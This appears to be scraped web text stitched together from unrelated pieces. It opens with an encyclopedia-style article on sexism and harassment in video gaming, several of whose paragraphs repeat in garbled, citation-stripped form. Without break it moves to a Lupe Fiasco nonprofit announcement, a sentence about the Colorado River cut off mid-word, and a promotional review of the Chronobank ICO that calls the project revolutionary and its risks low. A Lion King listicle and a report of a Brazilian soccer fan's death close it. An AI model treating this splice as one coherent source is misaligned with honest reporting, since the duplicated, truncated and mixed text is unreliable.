Women are sometimes marginalized as "intruders", as it is assumed they do not play video games that aren't associated with female players such as the Sims, music video games or casual games. Conversely, insults towards men focus mainly on their alleged lack of manliness for playing "girl games" or disliking violent games.[4] As a result, women may face offensive behavior at conventions, competitions or in video games stores. It may affect female gamers, journalists or game developers, even when they are invited to talk at a conference or to present a game.[5][6][7][8] Since the release of the NES, video games advertisements have been accused of strengthening this tendency by targeting only men.[9][10] In the 1980s, women stopped being represented playing video games in advertisement and scantily clad women started being used on game covers and ads.[9] Some women saw their non-sexualized female character designs rejected, and others reported sexual harassment in the workplace.[11][12]
According to a 2014 survey created by the International Videogame Developers Association about the satisfaction of working in video game development, results show that females claimed insubordination from subordinate male colleagues, a preference for white males in management position, and a preference for males in hiring and promotion.[13][14] In the same survey, many female developers complained about how peers did not take their video game credentials into serious consideration and reported invitations to "meetings" that were actually romantic dates.
Sexual harassment occurs frequently in many online settings relating online video games. Specifically, 65% of women report harassment and statistically receive three times as much derogatory or insulting remarks than men. With anonymity masking gamers, women are susceptible to extreme misogynistic and violent remarks.[15]
Video games conferences have been criticised for using sexualised advertising such as 'booth babes', creating a demeaning image of women, and for failing to stop harassment of female attendees. This has led some to adopt or share codes of conduct for managing these issues.[16][17][18][19][20]
Frequency [ edit ]
Insults are frequent in online gaming. However, according to Stephen Toulouse (moderator of the online gaming service Xbox Live), between 2007 and 2012 women were the most frequent target of harassment.[3] However, data from Riot Games lists racism and homophobia at the top.[21] Furthermore, derogatory words for homosexuality are used almost constantly in online gaming.[22]
In 2012, a study of the Ohio University showed that the same person playing Halo 3 online with a male and a female profile using recorded voice messages received three times more negative comments with the female profile, despite similar game scores. Even welcoming everybody at the beginning of a game could lead to sexist insults against the female profile.[7][23] A 2015 study of Halo 3 player interactions found that less skilled male players display a tendency to make frequent, nasty comments to female gamers.[24] The researchers suggested that the poorly performing males "attempt to disregard a female's performance and suppress her disturbance on the hierarchy to retain their social rank."[25]
A study from 2006 showed that 83.4% of gamers had seen the words "gay" or "queer" used as derogatory names, and that 52.7% of gay gamers perceived the gaming community as "somewhat hostile" while 14% perceived it as "very hostile".[26]
According to Lucy Waterlow, there appears to be a deep history of sexual harassment in the video game industry and women who play video games on online forums such as Call of Duty are often told they should "return to the kitchen", along with other slurs.[27] However, the changing demographics that have been seen in the video game community (an increasing proportion of people who play video games are, as it appears, female.[28]), have led to certain consequences. The largest change in terms of who plays video games has been that of gender proportions. This translates to more women playing video games than ever before, “almost reaching parity” with the number of men that play video games. The most visible and immediate ramifications of that have been the resistance of men and even some women within the industry.[29]
Critics have stated that there is an increasing pervasiveness of the sexual harassment of women in the video game community. A study conducted by Kate O'Halloran in 2017 found that women receive an almost amplified amount of harassment in the setting of online video games than they do in real life, whereas preferential treatment is given to men by other men. The difference in the treatment of women further diminishes the desire of women to participate in video games, or, as O'Halloran found, to completely conceal their gender identity and allow other players to assume their gender. Liliana Braumberger, a participant in O'Halloran's study, states that this stems from the fact that the men who engage in this form of sexual harassment have the invisibility and anonymity that comes with participating in an online server, and that men have a certain sense of entitlement that leads to the invisibility of women. She feels that this discrimination and erasure potentially have the same effects on other people who do not identify as men, not necessarily just women.[30]
Examples [ edit ]
Events in 2007 to 2017 brought sexual harassment in video gaming to mainstream media's attention in the United-States,[3] United Kingdom and Germany:[5]
In 2007, Kathy Sierra, a technology blogger, was forced to move her household after receiving repeated rape threats and death threats and then having her home address published online and packages sent to her home in attempt to spook her. She feared for her safety so much that she canceled her speaking engagements and stopped writing and blogging. [31]
In February 2012, the behavior of a Tekken team coach against a female player of his team during a Capcom competition named Cross Assault provoked an outrage. [2] He interrogated her about her bra size, asked her to remove her shirt, took a webcam to film her breasts and her legs, smelled her and discussed her appearance during the live broadcast of the tournament on the internet. [3] He then stated that sexual harassment and the fighting game community are "one and the same thing" and that it would be "ethically wrong" to remove sexual harassment from the community. [32] After a few days without any reaction from the sponsoring company, the female player eventually gave up the competition. [33] Capcom later issued an apology and stated that "any inappropriate or disrespectful comments will not be tolerated during filming". [34] The team coach also apologized afterwards. [3]
He interrogated her about her bra size, asked her to remove her shirt, took a webcam to film her breasts and her legs, smelled her and discussed her appearance during the live broadcast of the tournament on the internet. He then stated that sexual harassment and the fighting game community are "one and the same thing" and that it would be "ethically wrong" to remove sexual harassment from the community. After a few days without any reaction from the sponsoring company, the female player eventually gave up the competition. Capcom later issued an apology and stated that "any inappropriate or disrespectful comments will not be tolerated during filming". The team coach also apologized afterwards. In May 2012, the Kickstarter crowdfunding of videos on female representation in video games received wide coverage due to the cyber-bullying of its founder, the feminist video-blogger Anita Sarkeesian. Her Facebook, YouTube and email accounts were subsequently flooded with hateful and sexist comments, death and rape threats, and photoshopped pictures of her getting raped by video game characters. A game was created, inviting players to beat her up. [3] [6] [35] She eventually collected $160,000 out of the requested $6,000. [36] The most recent threat against Anita Sarkeesian was in Logan, Utah on October 15, 2014. She was scheduled to deliver a speech on a Wednesday evening until an anonymous email message arrived a day before, stating that there would be a mass shooting if the event was held. [37]
She eventually collected $160,000 out of the requested $6,000. The most recent threat against Anita Sarkeesian was in Logan, Utah on October 15, 2014. She was scheduled to deliver a speech on a Wednesday evening until an anonymous email message arrived a day before, stating that there would be a mass shooting if the event was held. In France, the female blogger Mar_Lard brought attention to the sexism in the video gaming community in May 2013 by publishing a blog post named Sexisme chez les geeks: Pourquoi notre communauté est malade, et comment y remédier, a compilation of sexism problems in the geek community. [7] [8] [38]
, a compilation of sexism problems in the geek community. Parts of the writing of the 2016 video game Baldur's Gate: Siege of Dragonspear attracted controversy and resulted in hateful and sexist harassment to the developers, with Eurogamer' s Robert Purchese reporting that criticism focused on two scenes perceived as pushing a political agenda. The first is the character Minsc's quip, "Really, it's about ethics in heroic adventuring", a reference to the Gamergate controversy. The second is an optional dialogue tree in which the cleric Mizhena mentions that she was raised as a boy, indicating that she is a trans woman. [39] Colin Campbell of Polygon reported that writer Amber Scott faced online harassment and insults, and that the game's Steam and GOG pages were bombarded with complaints that the transgender reference constituted "political correctness," "LGBT tokenism" and "SJW pandering." [40] Scott said she wanted to address elements in the original Baldur's Gate that she considered sexist, including its depictions of Safana as a "sex object" and Jaheira as a "nagging wife" played for comedy. [41] She had previously commented: "I get to make decisions about who I write about and why. I don't like writing about straight/white/cis people all the time. It's not reflective of the real world, it sets up s/w/c as the 'normal' baseline from which 'other' characters must be added, and it's boring." [42]
attracted controversy and resulted in hateful and sexist harassment to the developers, with s Robert Purchese reporting that criticism focused on two scenes perceived as pushing a political agenda. The first is the character Minsc's quip, "Really, it's about ethics in heroic adventuring", a reference to the Gamergate controversy. The second is an optional dialogue tree in which the cleric Mizhena mentions that she was raised as a boy, indicating that she is a trans woman. Colin Campbell of reported that writer Amber Scott faced online harassment and insults, and that the game's Steam and GOG pages were bombarded with complaints that the transgender reference constituted "political correctness," "LGBT tokenism" and "SJW pandering." Scott said she wanted to address elements in the original that she considered sexist, including its depictions of Safana as a "sex object" and Jaheira as a "nagging wife" played for comedy. She had previously commented: "I get to make decisions about who I write about and why. I don't like writing about straight/white/cis people all the time. It's not reflective of the real world, it sets up s/w/c as the 'normal' baseline from which 'other' characters must be added, and it's boring." In November 2017, the cosplayer Christine Sprankle announced that she was quitting Magic: the Gathering cosplay due to persistent harassment. [43] In a Twitter post, she named MtGHeadquarters/UnsleevedMedia as having made her "life hell this whole year". [44] In response, Wizards of the Coast posted a tweet saying they are "saddened", and that the bullying and harassment is "unacceptable". [45] Additionally, many professional Magic players posted an open letter in support of Sprankle and in criticism of the harassment. [46] Jeremy Hambly, the accused, remarked that Wizards of the Coast may likely issue a ban that would affect his ability to play Magic Online among other formats. [47]
In a Twitter post, she named MtGHeadquarters/UnsleevedMedia as having made her "life hell this whole year". In response, Wizards of the Coast posted a tweet saying they are "saddened", and that the bullying and harassment is "unacceptable". Additionally, many professional Magic players posted an open letter in support of Sprankle and in criticism of the harassment. Jeremy Hambly, the accused, remarked that Wizards of the Coast may likely issue a ban that would affect his ability to play Magic Online among other formats. One of the White, female players answer in a forum post that she had experiences of sexism during online game. When she said in voice chat during the game, "the sniper is in the bottom corner in the bushes under the Tower," one of the male players in the game called her names that look down on women. The female player only can play with mute mode so that she does not have to listen, and her mic stays off most of the time. [48]
One Black, female player told in interview that sometimes if you tag looks too feminine or if you use voice chat, they'll kick you out of the game. [48]
Another Latina, female player answered the interview. She said that during online games, men would send her pictures of things she didn't want to see, or they would harass her. Moreover, one of her experiences is that the other players would say she was a guy playing under a girl's name just because she played well in the game. She was hesitant to jump into multiplayer and practiced by herself before going online. And once she was online, she would generally have a good time and dominate the public leaderboards, but the gamer is almost universally assumed to be a 'he,' People would complement her like, 'hey well done bro, hey dude, do this.' she said that they are just using male language to address her. She has never bothered to correct it because when she did, it would spark a whole unwanted conversation. She also stopped talking on her mic because the other players would sexually harass her such as to ask her phone number. [48] [49]
Kuznekoff and Rose were studying about sexism in online video. They played a networked violent game with other anonymous players and interacted with them using male or female pre-recorded voices. the female voice received three times the amount of negative comments that the male voice received [50]
Leena van Deventer was playing "Team Fortress 2," an online multiplayer shooter game, which was one of her favorites. She had changed her headphone and mic setting with an exciting feature that made her sound like a robot or a giant. Once she began speaking in-game, however, there was what she calls "the reaction" that happened when the other players realize women play online game. One man continued to "stalk" her avatar in the game. Then came the question such as "what are you wearing?""have you got any pics?" "hove you got any NODE pics?" "Do you fuck guys who like games?" Other teammate found it hilarious. She said she wished she could focus other objective in the game, but she knew she had to leave this server. Then her computer mouse was hovering over the exit button when she heard him climax, moaning her username into his microphone.[51]
Effects [ edit ]
A study performed by Jesse Fox et al. suggested that due the Proteus effect, manifesting a sexualized character in a video game can have adverse mental effects. They designed a study in which 86 women from West Coast university played a virtual reality game. Women who used sexualized characters that looked like them had a higher rape myth acceptance than those in other conditions, which is the validation of incorrect and stereotypical ideas about rape that blame the victim, and increased body-related thinking which can lead to increased self-objectification.[52] When players immerse themselves into the games they are playing, it allows them to watch their behaviors from an external viewpoint. For some, they become more pleased with their avatar in the video game and it makes them feel good because they get to be the person they want to be. They lose sight of their physical self and match their modified self in the game. Yee and Bailenson found, in a study, that when the players manifest an attractive character, they are more open to talking to another character and will open up more. When women, especially, take over more sexualized characters, they begin to center on the more physical and sexual features, and their opinion start to support the materialization and sexualization of women.[53]
In 1998, Fredrickson and Roberts created the idea of objectification theory, stating that it was an environment when cultures press both girls and women to socialize in a way that they will begin to form ideas that they should be looked at as objects. It takes away their self worth and causes them to think they are only in their society to be looked at for their bodies, with a purely sexual use. Women begin to hold onto this perspective and believe that their appearance is most important and how they are valued. Combined with the Proteus effect, it is expected that a woman who chooses a more sexualized avatar will objectify themselves more than one who chooses a non-sexualized avatar.[53]
In another study, 181 students from a private liberal arts college in North Carolina were tested. The group exposed to highly sexualized images, from video games (in comparison to control group), was more tolerant to sexual harassment but showed the same rape myth acceptance.[54] A similar study was done in France, studying young adults being exposed to sexist materials in video games. The sample filled out a survey, which compared how much time they spent playing video games and their attitudes towards women. The results showed that when narrowed down to gender and socioeconomic levels, a connection was made between stronger sexist views and a higher amount of time spent playing video games.[55]
Karen E. Dill and Kathryn P. Thill state that adolescents, particularly boys and those who play games, are ignorant of the adverse impacts of detestable media content, and therefore ignorant of the when they are affected adversely. Theories such as the cultivation theory, social cognitive theory, ambivalent sexism theory, and hegemonic masculinity theory all aid Dill and Thill in discussing the repercussions of perpetuating gender stereotypes in media like video games. Cultivation theory is key to the analysis of sexism in video games, because it is the idea that when an individual is exposed long-term to multimedia, their understanding of their reality can change into becoming more similar to the media.[56] These theories also illustrate the ways prominent video game characters are gendered and what is received by the user or viewer. They write that "Gender portrayals of video game characters reinforce a sexist, patriarchal view that men are aggressive and powerful and that women are not healthy, whole persons, but sex objects, eye candy and generally second-class citizens."[57]
According to Jeffrey Kuznekoff and Lindsey Rose, the fact that gamers experience misconstrued portrayals of appearance, violence, and sexual objectification can impact their understanding and communication with other gamers, especially female gamers. In addition, these gender portrayals become increasingly prominent because of the mass appeal and number of users of online multiplayer games. They found that the female voice received nearly three times as many directed negative comments than the male voice or control. They also found that there was no correlation between the number of directed negative comments and the skill level of the other player. On several occasions, the female voice received strong sexist replies for phrases such as "hi everybody" or "alright team let's do this" despite the female voice having almost the same win percentage as the male voice (56% to 61%, respectively). Additionally, they found that when the other player responded with a positive remark, they were more likely to ask questions. Overall, Kuznekoff and Rose found that there were hypernegative effects with hostile targeting of the female voice.[58]
In 2015, a three-year German study of 824 gamers found, when controlling for age and education, that there was no correlation between sexist attitudes and time spent playing video games, or with preference for video game genres. The longitudinal study was based on cultivation theory, and the results broadly showed that playing video games did not lead to gamers becoming sexist.[59] The authors Johannes Breuer, Rachel Kowert, Ruth Festl and Thorsten Quandt have, however, been keen "to make clear that [their] study does not show that sexism is not an issue in/for games and gaming culture. There are many content analyses of popular games that show that female characters are underrepresented or presented in an overly sexualized manner and there is also ample evidence that many players, particularly female, have experienced sexism in their interactions with other players."[60]
A study published in May 2016 investigated the common perception of a gender performance gap.[61] The researchers analysed the performance data of over 10,000 players (both men and women) in the online MMORPGs Everquest II in the United States and Chevaliers III in China. The study contends that "perceived gender-based performance disparities seem to result from factors that are confounded with gender (i.e., amount of play), not player gender itself".[61] Lead author Cuihai Shen stated that if there was a gender disparity favoring men then "they should advance to higher levels within the same amount of play time" however their analysis indicated "women advanced at least as fast as men did in both games".[62] Shen outlined that there was a difference in play style between the genders, and stated "women did spend less time playing overall than men, they chose characters that are more assistive, and were more drawn to social interaction and helping others.[62][63]
A study was conducted on 154 Italian male high school volunteers. They were tasked with playing one of three different types of games. The first was Grand Theft Auto. Females in this game are secondary, usually strippers and prostitutes that are used as sexual objects by players. The second was Half Life 1 and Half Life 2. Although this game is violent, the female character plays a lead role and is not depicted in a sexist or sexual manner. Lastly, there was Dream Pinball 3D and Q.U.B.E. 2, which contain no violence or sexuality. Afterward, the volunteers were shown one of two pictures that showed females as victims of violence. Participants then rated whether they felt sympathetic, moved, compassionate, tender, warm, softhearted, disregarded or indifferent on a scale of 1, not at all to 7, very much. The study concluded that those that identified strongly with the male characters in the sexist-violent video game, Grand Theft Auto, showed the least amount of empathy towards the female violence victims. "The portrayal of men in the media as socially powerful and physically violent reinforces assumptions about how men and boys should act in society, as well as how they should treat women and girls. Exposure to sex-typed media characters can have real world consequence."[64]
In their 2016 analysis of female characters in video games, Lynch, Tompkins, van Driel, & Fritz looked at the frequency of females in lead roles, secondary roles, as well as the level of sexualization of the female characters. They found that from 1992 to 2006 that far more females characters were in secondary roles to that of lead roles, as well as being at higher rates of sexualization. However, from 2007 to 2014, they found that there was a decrease in the sexualization and objectification of females characters in video games, with an influx of positive characteristics such as female characters being portrayed as strong, capable, and attractive, as well as giving these women more character development. These aspects they suspect may attract more women to get into playing video games.[65]
In a study by Tang & Fox in 2016, they looked at if there was any correlation between men's personality and contextual factors and if these factors could predict the men's behaviors and the types of harassment these men would employ as they played video games. Their study found that the men who were categorized as showing signs of being socially dominant and hostile sexism carried out acts of verbal sexual harassment, such as "making sexist comments and joking about rape." These same men were also found to also executed general harassment, such as "swearing at a player or insulting their intelligence or skill," and that general harassment was found more often in those who also showed signs of being involved in the game and those who played games on a weekly basis.[66]
In a 2016 study conducted by Kaye & Pennington, they ultimately propose that the gaming industry should start to integrate systems that promote more positive forms of socializing between the players, provide the ability for players to work on cooperative tasks with other groups while being a part of their own, and that changes like these could help lessen the negative and hostile attitudes that female players face regularly, concluding that these efforts would help reduce the rate at which these hostile behaviors happen.[67]
According to Paaßen, Morgenroth, and Stratemeyer in their 2017 article, they compared how often men identified as gamers compared to that of women. They found that men were more likely to publicly identify as gamers while females felt compelled to either identify as either as female or as a gamer. This led to their conclusion that these findings reinforce the stereotypes that women cannot be gamers and how that this is certainly detrimental to females who identify themselves as gamers, as women already have negative experiences in the professional spheres of video game culture, especially when compared to that of their male counterparts.[68]
In a study by Read, Lynch, and Matthews in 2018, it was found that men who played as sexualized avatars showed reduced rates of hostile sexism, and that for both men and women it was found that their levels of rape myth acceptance (RMA) was also reduced.[68]
Countermeasures [ edit ]
Female activists actively promote changes in the way women are portrayed in games and how they are treated by the industry and gaming public as a whole. Media critic Anita Sarkeesian, for example, has – through her organization Feminist Frequency – given lectures and training to help change gaming culture.[69]
A prevailing perception is that the gaming industry is not fit for female workers because of sexism. According to Richard Wilson, CEO of TIGA, "typically, 80% of the workforce is qualified to degree level or above, but the proportion of women studying subjects such as computer science or games programming courses is low. There is only a comparatively small pool of potential female employees available to work in the games industry."[70]
Initiatives on the part of gaming companies include codes of conduct and the adoption of trainings and standards to ensure safe and respectful workplace.[71] In an attempt to combat sexism, the French government in 2016 proposed pieces of legislation that would give bonuses or incentives to video game creators that promote a more positive image of female characters in their games. Furthermore, these proposals outline a rating system that distinguishes games that promote a positive female representation and those that do not, with the latter getting the highest age 18 rating.[72][73]
See also [ edit ]Chicago rapper Lupe Fiasco announced over the weekend that he’s co-founded a new non-profit endeavor with the goal of helping young inner-city entrepreneurs “turn ideas into start-ups.”
The project, announced by Fiasco via Twitter, is called the Neighborhood Start Fund and according to the project’s website its mission is to create “a neighborhood-specific fund to support entrepreneurs and start-ups from underserved areas and of course so the best new ideas won’t go wasted. We provide access, network, workshops, mentoring and of course funding.”
Fiasco and project co-founder Di-Ann Esinor will kick off the inaugural neighborhood fund for entrepreneurs and start-ups with a live pitch event in Brooklyn next month.
“Our first neighborhood is Brownsville Brooklyn,” says Esinor. “We’ve just opened the idea competition and the first live pitch event will be Nov. 13, 2015. We will be housed at the Dream Big Foundation’s new entrepreneurship center and cafe opening in Jan. 2016.”
For more information on the Neighborhood Start Fund please visit www.start.fundSALT LAKE CITY — The Colorado River has reached historic lows, prompting the federal government to take emergency steps Friday to curtail releases from Lake Powell, turning the faucet to |
bln in September, 2015). It’s worth mentioning the Bitcoin share is quite big and ranges from 80 to 90% in 2016. The lowest market cap from the top ten crypto currencies is about USD 30 mln for the time of writing this text.
However, at the initial stage the Chronobank system will compete with a smaller number of players. Several projects exist that can be considered the nearest LHT competitors because of their nature and characteristics. I will write about some of them only, this list is not complete.
Tether. USD and some other fiat currencies backed crypto token. Some call such tokens ‘IOU-tokens’ because of their debt nature (IOU term came from the traditional economy, its abbreviation means ‘I owe you’). The company that supports Tether claims all the tokens existing at the market are backed by the real fiat assets stored at some bank(s). I did not find any contact information on the company site (no company name, no telephone, no physical or legal address). The same I can say about the bank names where Tether assets are stored. I’m sure Tether business partners know how to contact Tether directly but this information is not public. However, the Tether tokens are successfully traded at some exchanges and are relatively popular. The Tether market cap for the time of writing is about USD 7 mln. The system is fully centralized and depends heavily on the service operator. Concerning stability, USD as a fiat currency has a certain inflation rate.
Digix. Gold-backed Ethereum token. The real gold bars are stored in a secure storage. The team and its contacts are public. The system offers two types of tokens — DGX and DGD. The former represents the gold-backed token, while the latter gives an ability to its owner to receive the system profits part. The stability of the system depends on the operator’s reliability. Centralized. The gold price is not stable and varies greatly depending on the macro economic factors. Still, the gold is considered as a good value storage instrument. The DGX tokens are not traded on the markets yet so I can’t say anything about the DGX market cap.
MakerDAO. The project is under development. An attempt to create a stable and reliable crypto currency. Has also a debt nature. The system participants can lock some real asset in a smart contract creating the new DAI tokens. So we have a truly decentralized system where all the tokens issued are backed by all the system participants. The system will use complex math algorithms to maintain the price stability.
Decentralized. Market cap unknown because the product is not ready.
The Core Project Features
Chronobank is about creating a new stable crypto currency (or IOU token, as you like). Yes, it will deal with labour power, workers, hirers, ect. but the main product it will give to the market is a stable and reliable crypto currency (before LabourX launch).
The Chronobank stable currency token is called LH (Labour Hour) or LHT (Labour Hour Token). What makes it so stable? Briefly, the fact LHT are backed by the real labour power. The companies that have big amount of labour power need cheap money often. Such companies are called labour offering companies (LOC). For example, it can be a labour hire agency. Chronobank can give money to LOC in exchange for the obligation to provide the corresponding amount of labour hours. LHT in other words is a LOC obligation to provide a certain amount of labour hours.
The average labour hour price is stable and inflation-resistant. LHT as the labour power backed currency should have the similar characteristics. The above LHT properties make them unique and demanded resource. Crypto market needs stable currencies. Some LHT use scenarios are discussed in this article, for example.
This way we have a mutually beneficial cooperation. One side (LOC) receives financing and another side (crypto market) receives a stable and reliable currency.
Competitive Advantages
Idea. The idea is great and revolutionary. The project functioning scheme is well thought and is viable. The major participating sides gain additional advantages comparing to the current situation.
Market. The product (LHT) market exists and is growing. The LHT market capitalization during the first year can be estimated as about AUD 40 mln, in case of the faster growing rates it can reach AUD 120 mln (according to the team). There will be enough LHT to satisfy the demand from the start. The demand will exist, and it should be much more than USD 7 mln of Tether total capitalization. After DGX tokens appear on the market I can give a better estimation. There will be another market for LHT except crypto because of LHT debit cards existence. Many workers will receive their payments in LHT to their debit cards and will be able to spend them. So LHT has a chance to enter the top ten crypto tokens by capitalization soon.
LHT will be the only currency that is backed by the real labour power. It will also have two important characteristics at the same time: stability and inflation resistance. The system will be centralized. But the more LOC will participate in the system the more reliable it will be (more decentralization). It is still better than any other existing real asset-backed currency. Yes, there will be a market maker and controlling entity but most of its functions will be transparent and automated. Even more reliability can be reached after LH tokens implementation at different blockchains: Ethereum, Waves, NEM, ETC.
Team. The team is professional, its members have good reputation in their fields. I can confirm the team members I had conversation with are open and passionate people with a strong belief in a project success.
Escrow. The escrow agents are well-known reputable people.
Legal. In Australia (the starting jurisdiction for Chronobank) it is legal to pay salaries in BTC or another tokens. The ICO terms and conditions are published. There will be legal entities supporting Chronobank activities in Australia and Singapore from the start. The project has a legal team. Co-founders have a wide experience of doing a large scale business in Australia.
Team members LH tokens. It is a good tradition to ‘lock’ the ICO tokens owned by the project team members. It helps to avoid any significant price drops at the initial stages. Chronobank supports this tradition. I was informed that the team members won’t be able to sell their tokens during a certain period of time.
Risks
Business model failure. It is possible the product will not be demanded by the market. However I estimate the risk as low because a stable crypto currency will definitely find its customers. There are risks associated with the new stable crypto currencies appearance. From another point of view, the more stable currencies, the better. A trader or investor will be able to diversify his portfolio with a bigger number of instruments. On a growing market there will be enough space for all stable currencies I suppose.
More detailed specific risks associated with the system functioning structure are covered in the whitepaper. I don’t list them because they can’t be understood without the whitepaper reading.
Bad development quality. The development quality depends heavily on the developers team experience and skills. The team is good enough to successfully accomplish the tasks.
Dishonest team behavior. As far as I can see reputation is very important for the project team. I estimate this risk as extremely low. The escrow mechanism provides additional security.
Legal and regulation. The starting jurisdiction is Australia. I don’t expect any legal problems implementing the project model in Australia taking into account the team experience. However, entering new markets and regions is always a challenge, especially when it comes to crypto. We can’t exclude any crypto unfriendly laws that may appear in future.
When the project reaches a certain large turnover and come to the global arena the whole governments can take their actions to interrupt the further project growth. Governments won’t like losing their hidden ‘inflation tax’ through the wide new currency use. Sometimes a low local currency popularity can harm the national security from the authorities point of view.
But the progress is unstoppable and countries that are crypto friendly will get the huge benefits and additional economic growth comparing the crypto-hostile jurisdictions.
Centralization. Chronobank has several structural levels. The highest level is CBE — The Chronobank Entity which acts as a market maker and a controlling part responsible for the system stability. This is the center of the system and in this sense the system is centralized. The lower level consists of many LOC (Labour Offering Companies)— their number can grow with time. The more LOC participate in the system, the more stable the system is. In this sense the system is decentralized. There are risks of bad CBE controlling abilities and LOC failure risks.
The further system development steps will add more decentralization up to a fully decentralized model including LabourX.
Competitors hostile actions. Companies currently working on the labour hiring market may not like the new and more effective actors as Chronobank is expected to be.
Final conclusions
The revolutionary Chronobank plan to change the crypto and labour industries is very ambitious and promising. The team did a great work designing a new system that can satisfy many different sides interests and change the existing economic relationships. The amount of work ahead is enormous but the tasks to be solved are extremely interesting and challenging.
Please remember this post is written about the initial project stage before LabourX launch. After LabourX whitepaper is published it will be possible to know and understand it better.Hey, here’s something that will make you feel old! The Lion King is turning 20 on Sunday. The Disney masterpiece roared (shh, let us have that one) into theaters on June 15, 1994, where it would “Hakuna Matata” its way to becoming the second-highest-grossing film of the year, earning an Academy Award, a Golden Globe and two Grammys in the process.
Although The Lion King is now seen as a centerpiece of Disney’s so-called Renaissance period, it had modest origins, and even those involved in the project believed it would be a tough sell. “The pitch for the story was a lion cub gets framed for murder by his uncle, set to the music of Elton John,” producer Don Hahn explained. “People said ‘What? Good luck with that.'”
But the Shakespeare-lite story of Simba, King Mufasa and evil uncle Scar exceeded everyone’s expectations then and, 20 years later, it’s still an amazing film. We’ll apologize in advance to Frozen princesses, singing candlesticks and even Billy Joel in dog form, because here are 20 reasons we think The Lion King is the greatest Disney movie ever.
1. There’s nothing more majestic than that opening sequence: The sun slowly rises over the African savannah and an endless parade of silhouetted animals raise their heads, all in rhythm to the percussive beats of “Circle of Life.” Empire Magazine named it No. 11 on its list of the Greatest Opening Scenes in film, a rating that seems several digits too low. (Also, if you translate those chanted Zulu lyrics, they mean “Here comes a lion, Father/Oh yes, it’s a lion.” Some mysteries are better left unsolved.)
2. Twenty years on, and we still get chills when part-time artist, full-time shaman Rafiki walks to the edge of Pride Rock and presents the newborn Simba to the animals assembled below. So, a quick show of hands: How many of us have recreated Rafiki’s triumphant pose while holding a perfectly wrapped burrito?
3. “Hakuna Matata” is a wonderful phrase. This movie introduced us to that “No Worries” motto at least a decade before country singers like Kenny Chesney started kicking their shoes off and singing about their own lack of problems. Also, we’re still trying to learn the Swahili phrase for “I don’t know any other words in Swahili.”
Get push notifications with news, features and more.
4. For an animated film, it touches on some deep subjects including morality and mortality, the idea of destiny and the ways to approach – and learn from – the tragedies in your past. One reviewer called it a “deep-dish Jungian fable,” a kind of synopsis you’ll never hear in reference to, say, The Emperor’s New Groove.
5. As Shakespearian adaptations go, it’s basically Hamlet on four legs: The evil uncle kills the king and the young prince eventually avenges his father’s death. Heck, Simba-as-Hamlet even gets a visit from his dad’s ghost. There are also parallels between Polonius’s advising Laertes, “To thine own self be true,” and Ghost Mufasa telling Simba, “Remember who you are.” And, yes, we have a theater degree and no, we don’t get to use it very often.
6. “Oh yes, the past can hurt,” Rafiki tells Simba. “But you can either run from it or you can learn from it.” That’s one of the many lines that will stick with you after the final credits have finished scrolling to the top of the screen.
7. James Earl Jones couldn’t be a more majestic Mufasa. According to the directors, he was cast as the lead lion because they thought that his “powerful” voice was similar to a lion’s roar. It’s hard to argue with that. (And Mufasa was a much better dad than that Vader guy.)
8. The rest of the cast was one phenomenal ensemble, featuring the voice talents of Rowan Atkinson, Matthew Broderick, Robert Guillaume, Jeremy Irons, Nathan Lane and, of course, Jonathan Taylor Thomas at the peak of his Home Improvement power.
9. Scar was the most chilling villain of undetermined geographic origin since Hans Gruber in Die Hard. Through the superb voice work of Jeremy Irons and his unmistakable hiss, Scar was equal parts menace and sarcasm. And his signature song, “Be Prepared,” has to be the only Disney animated sequence that was based on a Nazi rally.
10. Mufasa’s death is one of the most devastating sequences in any film, animated or not. That scene where tiny Simba paws at his father’s cheek is the definition of heartbreak. And before we start weeping on our keyboard, let’s move on to…
11. Timon and Pumbaa are the kind of aimless, irresponsible friends that everyone needs when they’re trying to figure out what to do with their lives. When the film was being cast, Nathan Lane and Ernie Sabella were working together in Guys & Dolls on Broadway. They apparently bumped into each other on the day of their audition, and decided to read together … for the parts of the hyenas. When the directors saw their hilarious chemistry together, they were immediately cast in those now-familiar roles.
12. We do love those hyenas, “dangling at the bottom of the food chain,” even though they caused the famine that almost wiped out the entire pride. But still! Their characterization as evil – if bumbling – henchmen was so offensive to one prominent hyena researcher that he sued Disney for defamation of character.
13. The 3D re-release came with a fantastic “blooper reel,” which includes several solid seconds of James Earl Jones trying to clear his throat. (That may or may not be our ringtone.)
14. It might be twenty years old, but the movie and its messages are timeless. Other than maybe Timon doing one or two Arsenio Hall-style whoops, there’s nothing that seems dated about it. (But that’s admittedly a hallmark of the best Disney movies, all the way back to its own Snow White, who still looks amazing at 76.)
15. You can’t mention The Lion King without thinking about its songs, written by Elton John and Tim Rice. “Can You Feel the Love Tonight,” “Hakuna Matata” and “Circle of Life” were all nominated for Academy Awards. (“Can You Feel the Love Tonight” won.) And to think that Tim Rice originally suggested working with ABBA, a collaboration that could’ve yielded something like “I Just Can’t Wait to Be Dancing Queen.
16. Although John’s version of “Can You Feel the Love Tonight” was the slow jam for every Homecoming dance in the fall of 1994, the cast’s own versions in the movie are equally fantastic. The highlight is Jason Weaver belting out “I Just Can’t Wait to Be King,” sounding like an “I’ll Be There”-era Michael Jackson in the process.
17. Those songs inspired the wildly successful Broadway musical, which sometimes makes an entire section of an airplane break into song. You know, just like in a musical!
18. Yes, we still laugh at the fart jokes. Despite all of our talk about Shakespearian regicide, we cackle like a leftover hyena when Pumbaa’s backside flattens an entire field of grass. (He was the first Disney character to fart onscreen. A TRUE PIONEER!) If you listen to the lyrics of “Hakuna Matata,” it’s more or less about how Pumbaa’s embarrassing large intestine led to his change in personal philosophy. So yeah, maybe don’t listen to those lyrics.
19. If you’re considering a Disney tattoo, you can’t beat Rafiki’s drawing of Simba, possibly with “Remember Who You Are” inked around it in a tasteful font.
20. The Lion King is so good that Frozen pretty much ripped it off. A stunning royal family torn apart by tragedy? Check. A hero who banishes himself (or herself) from the kingdom? Check. A musical number about being free from responsibility? Check. Seriously, Frozen?! LET IT GO.
RELATED: ‘Let It Go’ 24 Ways: The Complete Guide to Frozen‘s Internet Domination
[IMAGE” “” “” “0” ]Brazilian soccer fan dies after being hit by toilet bowl in World Cup host city
Updated
A Brazilian fan has died after being struck by a toilet bowl hurled in clashes after a soccer game in a World Cup host city, just over a month before Brazil stages the event.
Santa Cruz, based in the north-eastern coastal city of Recife, had drawn with visiting Parana when violence erupted outside the ground.
Fans clashed upon leaving the Arruda stadium, across town from a brand new World Cup venue.
Some ripped out toilet bowls and threw them at fans congregated below, fatally injuring one, a police spokesman said.
Police named the dead man as Paulo Ricardo Gomes da Silva.
His mother, Joelma, told local radio: "They killed my son and me too - I would not wish the pain I am suffering today on anybody."
